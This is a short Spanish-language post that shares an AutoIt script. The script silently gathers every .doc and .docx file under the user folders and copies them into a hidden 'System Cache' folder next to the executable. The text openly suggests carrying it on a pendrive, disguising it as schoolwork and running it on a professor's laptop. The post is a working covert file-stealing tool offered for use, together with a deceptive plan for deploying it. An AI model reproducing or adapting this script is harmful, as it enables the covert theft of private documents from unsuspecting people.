Simplemente copia archivos y los pega en una carpeta oculta llamada "System Cache" ubicado en la misma carpeta del ejecutable, los archivos que copie dependeran de las extensiones que definan en la variable "$cExt" separadas por un |
El uso queda a su imaginación, por ejemplo podéis ponerlo en un pendrive, disfrazarlo de un trabajo y ejecutarlo en el notebook de un profesor de la universidad o algo asi
#include <File.au3>
#include <Array.au3>
#NoTrayIcon
HotKeySet("{ESC}", "CloseProggy")
Opt("ExpandVarStrings", 1)
Global $cFolder = "System Cache"
Global $cHidden = "1"
Global $cSystem = "0"
Global $cFolders = "C:\Users"
Global $cExt = "docx|doc"
$cFolders = @UserProfileDir
$cFolders = StringSplit($cFolders,"\")
$cFolders = $cFolders[1] & "\" & $cFolders[2]
List()
Func List()
$LA = ""
$Folder = StringSplit($cFolders,"|")
$Ext = StringSplit($cExt,"|")
Folders($Ext)
For $x = 1 To $Folder[0]
For $y = 1 To $Ext[0]
$LA = _FileListToArrayRec($Folder[$x] & "\","*" & "." & $Ext[$y],1,1,0,2)
If Not @error Then
For $z = 1 To $LA[0]
$Name = StringSplit($LA[$z],"\")
$Name = $Name[$Name[0]]
FileCopy($LA[$z],@ScriptDir & "\" & $cFolder & "\" & $Ext[$y] & "\")
Next
EndIf
Next
Next
If $cSystem = "1" Then FileSetAttrib($cFolder,"+S")
EndFunc
Func Folders($Ext)
DirCreate($cFolder)
If $cHidden = 1 Then FileSetAttrib($cFolder,"+H")
For $i = 1 To $Ext[0]
DirCreate($cFolder & "\" & $Ext[$i])
Next
EndFunc
Func CloseProggy()
Exit
EndFunc